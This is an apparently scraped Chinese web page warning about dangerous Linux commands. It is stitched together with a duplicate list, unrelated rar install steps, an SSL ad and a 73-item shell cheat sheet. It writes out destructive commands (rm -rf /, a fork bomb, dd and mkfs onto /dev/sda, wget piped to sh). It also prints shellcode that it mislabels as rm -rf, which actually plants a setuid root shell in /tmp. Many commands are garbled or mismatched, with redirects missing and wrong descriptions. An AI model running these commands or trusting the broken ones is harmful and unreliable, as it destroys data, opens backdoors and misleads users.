Linux中最危險(xiǎn)的10個(gè)命令
岱山ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場(chǎng)景,ssl證書未來市場(chǎng)廣闊!成為創(chuàng)新互聯(lián)的ssl證書銷售渠道,可以享受市場(chǎng)價(jià)格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:18980820575(備注:SSL證書合作)期待與您的合作!
對(duì)于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時(shí)候也很危險(xiǎn),尤其是在你誤操作或者不確定你自己在正在做什么的時(shí)候。下面我就為大家盤點(diǎn)最危險(xiǎn)是10個(gè)命令,一起來看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項(xiàng)。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說錯(cuò)了,從常識(shí)看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個(gè)參數(shù) 只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會(huì)將rm通過別名的方式增加-i參數(shù)來 要求刪除確認(rèn),而-f則抑制了這個(gè)提示。)
rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時(shí)請(qǐng)留心一點(diǎn)。我們可以在“.bashrc”文件對(duì)‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時(shí)的事故,它會(huì)要求你確認(rèn)每一個(gè)刪除請(qǐng)求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請(qǐng)這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個(gè)fork 炸彈的實(shí)例。具體操作是通過定義一個(gè)名為 ‘:‘的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~
3. 命令 /dev/sda
上列命令會(huì)將某個(gè)‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個(gè)命令會(huì)移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動(dòng)到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會(huì)將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會(huì)從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會(huì)格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動(dòng)器)會(huì)被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會(huì)直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對(duì)塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會(huì)被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過請(qǐng)?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個(gè)文件。)。如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似 “xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個(gè)命令在“鮮為人知而又實(shí)用的 Linux 命令大全:”中描述過,用來編輯先前運(yùn)行的命令而無需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實(shí)就是上面第一個(gè)命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無知的用戶可能就會(huì)被愚弄。在終端里運(yùn)行下面命令可能會(huì)擦除你的根分區(qū)。
這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會(huì)被輕易的檢測(cè)到。你必須時(shí)刻留心你在做什么結(jié)果會(huì)怎樣。不要編譯/運(yùn)行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個(gè)命令,因?yàn)檫@將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測(cè)試它們,請(qǐng)?jiān)谔摂M機(jī)上運(yùn)行。
;
這9個(gè)“非常危險(xiǎn)”的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內(nèi)容最快的一種方式,僅僅一丁點(diǎn)的敲錯(cuò)或者無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經(jīng)過詢問直接刪除只讀文件
rm-rf/:強(qiáng)制刪除根目錄下所有東西
rm-rf/*:強(qiáng)制刪除當(dāng)前目錄的所有文件
rm-rf.:強(qiáng)制刪除當(dāng)前文件夾及其子文件
溫馨提示:當(dāng)你要執(zhí)行rm -rf命令時(shí),一定要留心,可以在“.bashrc”文件對(duì)“rm”命令創(chuàng)建rm
-i的別名,來預(yù)防用‘rm’命令刪除文件時(shí)的事故。
2、:(){:|:};:命令
這就是一個(gè)fork炸彈的實(shí)例。具體操作是通過定義一個(gè)名為':'的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
3、命令 /dev/sda
上列命令會(huì)將某個(gè)'命令'的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4、mv文件夾/dev/null
這個(gè)命令會(huì)移動(dòng)某個(gè)'文件夾'到/dev/null。在Linux中/dev/null或null設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。
5、wget -O- | sh
上面這個(gè)命令會(huì)從一個(gè)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)執(zhí)行下載下來的腳本。
溫馨提示:你應(yīng)該時(shí)刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會(huì)格式化設(shè)備'sda',你無疑知道在執(zhí)行上列命令后你的塊設(shè)備會(huì)被格式化,嶄新的。沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。
7、 file
上面命令常用來清空文件內(nèi)容,如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似“ xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8、^foo^bar
這個(gè)命令用來編輯先前運(yùn)行的命令而無需要打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個(gè)命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然,你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。
1、首先上官網(wǎng)下載rawLinux安裝包。
2、然后使用su命令進(jìn)入root用戶模式,打開下載目錄,使用tar命令解壓縮rarlinux文件。
3、其次打開解壓的那個(gè)文件夾,然后使用make命令進(jìn)行安裝。
4、最后使用unrar命令解壓縮raw壓縮包即可。
Linux shell常用命令匯總
對(duì)于經(jīng)常使用linux系統(tǒng)的博主來說,基本常用的shell命令是少不了的,下面為大家總結(jié)了Linux shell的常用命令,希望對(duì)大家有所幫助!
1.檢查遠(yuǎn)程端口是否對(duì)bash開放:
echo /dev/tcp/8.8.8.8/53 echo "open"
2.讓進(jìn)程轉(zhuǎn)入后臺(tái):
Ctrl + z
3、將進(jìn)程轉(zhuǎn)到前臺(tái):
fg
4.產(chǎn)生隨機(jī)的十六進(jìn)制數(shù),其中n是字符數(shù):
openssl rand -hex n
5.在當(dāng)前shell里執(zhí)行一個(gè)文件里的命令:
source /home/user/file.name
6.截取前5個(gè)字符:
${variable:0:5}
7.SSH debug 模式:
ssh -vvv user@ip_address
8.SSH with pem key:
ssh user@ip_address -i key.pem
9.用wget抓取完整的網(wǎng)站目錄結(jié)構(gòu),存放到本地目錄中:
wget -r --no-parent --reject "index.html*" -P /home/user/dirs
10.一次創(chuàng)建多個(gè)目錄:
mkdir -p /home/user/{test,test1,test2}
11.列出包括子進(jìn)程的進(jìn)程樹:
ps axwef
12.創(chuàng)建 war 文件:
jar -cvf name.war file
13.測(cè)試硬盤寫入速度:
dd if=/dev/zero of=/tmp/output.img bs=8k count=256k; rm -rf /tmp/output.img
14.測(cè)試硬盤讀取速度:
hdparm -Tt /dev/sda
15.獲取文本的md5 hash:
echo -n "text" | md5sum
16.檢查xml格式:
xmllint --noout file.xml
17.將tar.gz提取到新目錄里:
tar zxvf package.tar.gz -C new_dir
18.使用curl獲取HTTP頭信息:
curl -I
19.修改文件或目錄的時(shí)間戳(YYMMDDhhmm):
touch -t 0712250000 file
20.用wget命令執(zhí)行ftp下載:
wget -m
21.生成隨機(jī)密碼(例子里是16個(gè)字符長(zhǎng)):
LANG=c /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;
22.快速備份一個(gè)文件:
cp some_file_name{,.bkp}
23.訪問Windows共享目錄:
smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir
24.執(zhí)行歷史記錄里的命令(這里是第100行):
!100
25.解壓:
unzip package_name.zip -d dir_name
26.輸入多行文字(CTRL + d 退出):
cat test.txt
27.創(chuàng)建空文件或清空一個(gè)現(xiàn)有文件:
\ test.txt
28.與Ubuntu NTP server同步時(shí)間:
ntpdate ntp.ubuntu.com
29.用netstat顯示所有tcp4監(jiān)聽端口:
netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*'
30.qcow2鏡像文件轉(zhuǎn)換:
qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \precise-server-cloudimg-amd64-disk1.raw
31.重復(fù)運(yùn)行文件,顯示其輸出(缺省是2秒一次):
watch ps -ef
32.所有用戶列表:
getent passwd
33.Mount root in read/write mode:
mount -o remount,rw /
34.掛載一個(gè)目錄(這是不能使用鏈接的情況):
mount --bind /source /destination
35.動(dòng)態(tài)更新DNS server:
nsupdate eof p="" /eof
update add $HOST 86400 A $IP
send
EOF
36.遞歸grep所有目錄:
grep -r "some_text" /path/to/dir
37.列出前10個(gè)最大的文件:
lsof / | awk '{ if($7 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail
39.打開Vim并跳到文件末:
vim + some_file_name
40.Git 克隆指定分支(master):
git clone git@github.com:name/app.git -b master
41.Git 切換到其它分支(develop):
git checkout develop
42.Git 刪除分支(myfeature):
git branch -d myfeature
43.Git 刪除遠(yuǎn)程分支
git push origin :branchName
44.Git 將新分支推送到遠(yuǎn)程服務(wù)器:
git push -u origin mynewfeature
45.打印歷史記錄中最后一次cat命令:
!cat:p
46.運(yùn)行歷史記錄里最后一次cat命令:
!cat
47.找出/home/user下所有空子目錄:
echo /dev/tcp/8.8.8.8/53 echo "open"
1.檢查遠(yuǎn)程端口是否對(duì)bash開放:
find /home/user -maxdepth 1 -type d -empty
48.獲取test.txt文件中第50-60行內(nèi)容:
test.txt sed -n '50,60p'
49.運(yùn)行最后一個(gè)命令(如果最后一個(gè)命令是mkdir /root/test, 下面將會(huì)運(yùn)行: sudo mkdir /root/test):
sudo !!
50.創(chuàng)建臨時(shí)RAM文件系統(tǒng) – ramdisk (先創(chuàng)建/tmpram目錄):
mount -t tmpfs tmpfs /tmpram -o size=512m
51.Grep whole words:
grep -w "name" test.txt
52.在需要提升權(quán)限的.情況下往一個(gè)文件里追加文本:
echo "some text" | sudo tee -a /path/file
53.列出所有kill signal參數(shù):
kill -l
54.在bash歷史記錄里禁止記錄最后一次會(huì)話:
kill -9 $$
55.掃描網(wǎng)絡(luò)尋找開放的端口:
nmap -p 8081 172.20.0.0/16
56.設(shè)置git email:
git config --global user.email "me@example.com"
57.To sync with master if you have unpublished commits:
git pull --rebase origin master
58.將所有文件名中含有”txt”的文件移入/home/user目錄:
find -iname "*txt*" -exec mv -v {} /home/user \;
59.將文件按行并列顯示:
paste test.txt test1.txt
60.shell里的進(jìn)度條:
pv data.log
61.使用netcat將數(shù)據(jù)發(fā)送到Graphite server:
echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000
62.將tabs轉(zhuǎn)換成空格:
expand test.txt test1.txt
63.Skip bash history:
space cmd
64.去之前的工作目錄:
cd -
65.拆分大體積的tar.gz文件(每個(gè)100MB),然后合并回去:
split –b 100m /path/to/large/archive /path/to/output/files
cat files* archive
66.使用curl獲取HTTP status code:
curl -sL -w "%{http_code}\\n" -o /dev/null
67.設(shè)置root密碼,強(qiáng)化MySQL安全安裝:
/usr/bin/mysql_secure_installation
68.當(dāng)Ctrl + c不好使時(shí):
Ctrl + \
69.獲取文件owner:
stat -c %U file.txt
70.block設(shè)備列表:
lsblk -f
71.找出文件名結(jié)尾有空格的文件:
find . -type f -exec egrep -l " +$" {} \;
72.找出文件名有tab縮進(jìn)符的文件
find . -type f -exec egrep -l $'\t' {} \;
73.用”=”打印出橫線:全選復(fù)制放進(jìn)筆記
printf '%100s\n' | tr ' ' = ;